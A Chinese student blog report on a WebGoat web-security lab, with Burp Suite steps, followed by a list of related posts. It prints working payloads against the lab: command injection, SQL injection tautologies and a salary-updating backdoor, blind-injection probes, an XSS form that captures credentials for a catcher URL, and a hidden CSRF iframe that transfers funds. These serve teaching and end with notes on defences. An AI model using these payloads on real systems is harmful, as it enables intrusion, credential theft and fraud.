PS:我是分了两次做的这次试验,第二次实验的时候电脑出了一点问题熄火了……原本后面的是有图的结果博客没保存图没了……

WebGoat

  • WebGoat是由著名的OWASP负责维护的一个漏洞百出的J2EE Web应用程序,这些漏洞并非程序中的bug,而是故意设计用来讲授Web应用程序安全课程的。这个应用程序提供了一个逼真的教学环境,为用户完成课程提供了有关的线索。
  • 因为WebGoat是基于java开发的软件,所以它具有平台无关性,在各种操作平台上都可以运行,所以本次实验所处的系统为kali机
  • 在命令行中输入以下指令即可运行相关jar
    • java -jar webgoat-container-7.0.1-war-exec.jar
  • WebGoat默认使用8080端口,所以在看到相关提示:INFO: Starting ProtocolHandler ["http-bio-8080"]后即可开始
  • 打开浏览器,访问localhost:8080/WebGoat,登陆即可

BurpSuite

  • Burp Suite 是用于攻击web 应用程序的集成平台。它包含了许多工具,并为这些工具设计了许多接口,以促进加快攻击应用程序的过程。
    • 在桌面左边的快捷栏找到,打开他,一直next就好;
    • Proxy->Options,点击Add,自行配置一个端口号,配好以后记得要勾选自己配好的那一条,然后点击run:
    • 打开浏览器的设置页,Advanced->Network->Settings
    • 按照下图进行设置:
    • 若需要将网页拦截下来的时候在proxy里点击intercept把他打开

Injection Flaws

Command Injection

    • 这个界面可以执行系统命令并返回给用户,所以应该在请求项里面添加shell命令,执行ifconfig
    • 具体来说,就是用前文提到的

BurpSuite

    工具拦截请求,并将其中的参数改为(我的是这样):

    • AccessControlMatrix.help"& ifconfig"
    • 表示执行这2个指令,在网页的最后能看到ifconfig的结果,成功

Numeric SQL Injection

  • 要求:尝试用SQL注入,使得能查到所有的天气
  • 思路也很简单,直接构造永真式,即可查找到所有记录
  • 既可以按照上一题的思路用工具捕包修改,也可以直接按F12修改网页源文件,将需要查找的value改为:101 or 1=1
  • 点击go,看到所有城市的天气,成功

Log Spoofing

  • 题目的意思是要你写一个SQL字符串,因为网页会将你输入错误的用户名返回给你,所以我们的目标是使得网页返回给你的结果显示的你登录成功一样
  • 所以在用户名那构造语句:gq%0d%0aLogin Succeeded for username: admin

LAB:SQL Injection

Stage 1:String SQL Injection

  • 根据描述,是要求你在不知道密码的前提下,还能登录成功
  • 利用SQL相关语法,输入'or 1='1
  • 失败,发现超过字符长度。修改源代码(字符串格式与长度),再次输入'or 1='1
  • 成功

Stage 2:Parameterized Query #1

  • 做不了

Stage 3:Numeric SQL Injection

  • 不会……

Stage 4:Parameterized Query #2

  • Stage 2,做不了

String SQL Injection

  • 要求:要你输入正确的Last name登录进去
  • 因为不知道密码,所以用万能密钥试一试,根据前文输入:

    • 'or 1='1
    • 成功,因为为永真,所以任何用户的信息都看见了

Database Backdoors

  • 根据题目要求是要你使用多条语句的SQL注入,更新数据表
  • 根据前一篇博客的多条语句注入练习,在此,设置如下SQL语句:
    • 101; update employee set salary=10000
    • 发现数据表所有人员工资都等于10000已经更新,成功
  • 第二步要求没看懂

Blind Numeric SQL Injection:

  • 数字型盲注入,要求找到pins表中cc_number字段值为1111222233334444的记录中pin字段的数值;
  • 不停利用101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') >(或者<) 100 );来猜测,利用折半查找的思想,最终确定答案为2364

Blind String SQL Injection:

  • 字符串型盲注入,要求找到pins表中cc_number字段值为4321432143214321的记录中pin字段的数值。pin字段类型为varchar;
  • 这和上一题一样猜ASCII的值,答案是Jill;

Cross-Site Scripting (XSS)

Phishing with XSS

  • Phishing with XSS:XSS钓鱼,要求创建一个表单,诱骗访问者输入用户名密码,并将表单提交到http://localhost:8080/WebGoat/capture/PROPERTY=yes&ADD_CREDENTIALS_HERE
    以下是代码示例:

    </form><script>function hack(){
    XSSImage=new Image;
    XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
    alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
    }
    </script>
    <form name="phish">
    <br>
    <br>
    <HR><H3>This feature requires account login:</H2>
    <br>
    <br>
    Enter Username:
    <br>
    <input type="text" name="user">
    <br>
    Enter Password:
    <br>
    <input type="password" name = "pass">
    <br>
    <input type="submit" name="login" value="login" onclick="hack()">
    </form><br><br><HR>

Stored XSS Attacks

  • 存储型XSS攻击,要求在信件中写入一个网页或弹窗;
  • 具体操作是这样的:
    • title可以任意输入,根据第一次尝试可以发现,输入的这个可以作为一个超链接更新保存在本界面,点击后即可查看输入内容
    • Message输入消息,可以嵌入一段js代码,用户点击后即可触发,例如输入:<script>alert("5234 attack succeed!");</script>

Cross Site Request Forgery (CSRF)

  • 这里是一个储存型XSS和CSRF结合的示例,CSRF就是冒名登录,用代码伪造请求
  • 这里是把CSRF恶意代码利用储存型XSS放到了网页上,通过留言Message里输入,构造恶意代码如下
    • <iframe src="attack?Screen=504&amp;menu=900&amp;transferFunds=5000"></iframe>
    • 当用户点击这个留言,就会触发,显示已转走5000元
    • 注意:上述screen和menu参数的值和网站右边显示的要保持一致
    • 如果想让用户在不查觉的情况下,可以将<iframe>中的长和宽参数设为1像素,这样就看不见了

实验后回答问题

  • (1)SQL注入攻击原理,如何防御

原理:SQL注入攻击的基本原理,是从客户端合法接口提交特殊的非法代码,让其注入到服务器端执行业务的SQL中去,进而改变SQL语句的原有逻辑和影响服务器端正常业务的处理。

防御:

  1. 执行验证的SQL语句;
  2. 使用正则表达式屏蔽特殊字符;
  3. 使用PreparedStatement代替Statement;
  • (2)XSS攻击的原理,如何防御

原理:XSS攻击的主要目的则是,想办法获取目标攻击网站的cookie,因为有了cookie相当于有了seesion,有了这些信息就可以在任意能接进互联网的pc登陆该网站,并以其他人的生份登陆,做一些破坏。

防御:

  1. 当恶意代码值被作为某一标签的内容显示:在不需要html输入的地方对html 标签及一些特殊字符( ” < > & 等等 )做过滤,将其转化为不被浏览器解释执行的字符。
  2. 当恶意代码被作为某一标签的属性显示,通过用 “将属性截断来开辟新的属性或恶意方法:属性本身存在的 单引号和双引号都需要进行转码;对用户输入的html 标签及标签属性做白名单过滤,也可以对一些存在漏洞的标签和属性进行专门过滤。
  • (3)CSRF攻击原理,如何防御

原理:CSRF攻击的主要目的是让用户在不知情的情况下攻击自己已登录的一个系统,类似于钓鱼。

防御:

  1. 通过 referer、token 或者 验证码 来检测用户提交。
  2. 尽量不要在页面的链接中暴露用户隐私信息。
  3. 对于用户修改删除等操作最好都使用post 操作 。
  4. 避免全站通用的cookie,严格设置cookie的域。

20145234黄斐《网络对抗技术》实验九、Web安全基础实践的更多相关文章

  1. 20155201 网络攻防技术 实验九 Web安全基础

    20155201 网络攻防技术 实验九 Web安全基础 一.实践内容 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 二.报告内容: 1. 基础问题回答 1)SQL注入攻击 ...

  2. 20145231熊梓宏 《网络对抗》 实验9 Web安全基础实践

    20145231熊梓宏 <网络对抗> 实验9 Web安全基础实践 基础问题回答 1.SQL注入攻击原理,如何防御? •SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面 ...

  3. 20155328 《网络对抗》 实验九 Web安全

    20155328 <网络对抗> 实验九 Web安全 基础 实验过程记录 在实验开始之前先把webgoat的jar包放到home目录下.打开终端,用命令java -jar webgoat-c ...

  4. 2017-2018-2 20155314《网络对抗技术》Exp9 Web安全基础

    2017-2018-2 20155314<网络对抗技术>Exp9 Web安全基础 目录 实验目标 实验内容 实验环境 基础问题回答 预备知识 实验步骤--WebGoat实践 0x10 We ...

  5. 20155235 《网络攻防》 实验九 Web安全基础

    20155235 <网络攻防> 实验九 Web安全基础 实验内容 SQL注入攻击 XSS攻击 CSRF攻击 WebGoat WebGoat是OWASP组织研制出的用于进行web漏洞实验的应 ...

  6. 20145302张薇 《网络对抗技术》逆向及BOF基础实践

    20145302张薇 <网络对抗技术>逆向及BOF基础实践 实验内容 实践对象:名为20145302的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会简单 ...

  7. 20165214 2018-2019-2 《网络对抗技术》Exp9 Web安全基础 Week13

    <网络对抗技术>Exp9 Web安全基础 Week13 一.实验目标与内容 1.实践内容 (1).本实践的目标理解常用网络攻击技术的基本原理,做不少于7个题目.包括(SQL,XSS,CSR ...

  8. 2018-2019-2 20165315《网络对抗技术》Exp9 Web安全基础

    2018-2019-2 20165315<网络对抗技术>Exp9 Web安全基础 目录 一.实验内容 二.实验步骤 1.Webgoat前期准备 2.SQL注入攻击 Command Inje ...

  9. 2018-2019-2 网络对抗技术 20165322 Exp9 Web安全基础

    2018-2019-2 网络对抗技术 20165322 Exp9 Web安全基础 目录 实验内容与步骤 (一)Webgoat安装 (二)SQL注入攻击 1.命令注入(Command Injection ...

  10. 2018-2019-2 20165212《网络对抗技术》Exp9 Web安全基础

    2018-2019-2 20165212<网络对抗技术>Exp9 Web安全基础 基础问题回答 1.SQL注入攻击原理,如何防御? 原理:SQL注入,就是通过把SQL命令插入到Web表单递 ...

随机推荐

  1. [翻译] RSKImageCropper

    RSKImageCropper https://github.com/ruslanskorb/RSKImageCropper An image cropper for iOS like in the ...

  2. 基于php-fpm的配置详解

    php5.3自带php-fpm/usr/local/php/etc/php-fpm.confpid = run/php-fpm.pidpid设置,默认在安装目录中的var/run/php-fpm.pi ...

  3. nodejs API(一)

    不要注重版本 URL 官网所在位置:https://nodejs.org/dist/latest-v8.x/docs/api/url.html URL网址解析的好帮手: url有三个可调用的方法:ur ...

  4. #002 Emmet完整API

    介绍 这里包含了,所有的Emmet API,非常的详细,但是有一点详细过头了,如果只想快速上手,那么推荐<#001 Emmet的API图片> Emmet (前身为 Zen Coding) ...

  5. JVM源码分析之堆外内存完全解读

    JVM源码分析之堆外内存完全解读   寒泉子 2016-01-15 17:26:16 浏览6837 评论0 阿里技术协会 摘要: 概述 广义的堆外内存 说到堆外内存,那大家肯定想到堆内内存,这也是我们 ...

  6. JS传递函数并且调用

    封装的函数: function getDataByJsonP(methName, inData, fn) { // 这里fn可以直接传入函数名字 $.ajax({ url: '', //请求的url地 ...

  7. Django之模板配置(template)

    Django模板系统 官方文档 jinja2模块中文 jinja2模块官方 常用语法 只需要记两种特殊符号: {{  }}和 {% %} 变量相关的用{{}},逻辑相关的用{%%}. 变量 在Djan ...

  8. python处理数据(二)

    处理PDF文件 PyPDF2简介 作为 PDF 工具包构建的纯 python 库. 它可以:提取文档信息(标题,作者,... ...)一页一页地分割文件一页一页地合并文件裁剪页面将多个页面合并成一个页 ...

  9. 嵌套的ng-repeat双层循环,内层如何获取外层的$index?

    html代码: <div> <ul ng-repeat="row in table track by $index"> <li ng-repeat=& ...

  10. Android 高级UI设计笔记24:Android 夜间模式之 WebView 实现白天 / 夜间阅读模式 (使用JavaScript)

    1. 问题引入: 前面我们是使用方法 降低屏幕亮度(不常用) 和 替换theme,两者都是针对Activity的背景进行白天.夜间模式的交换,但是如果我们显示的是Html的内容,这个时候改怎么办? 分 ...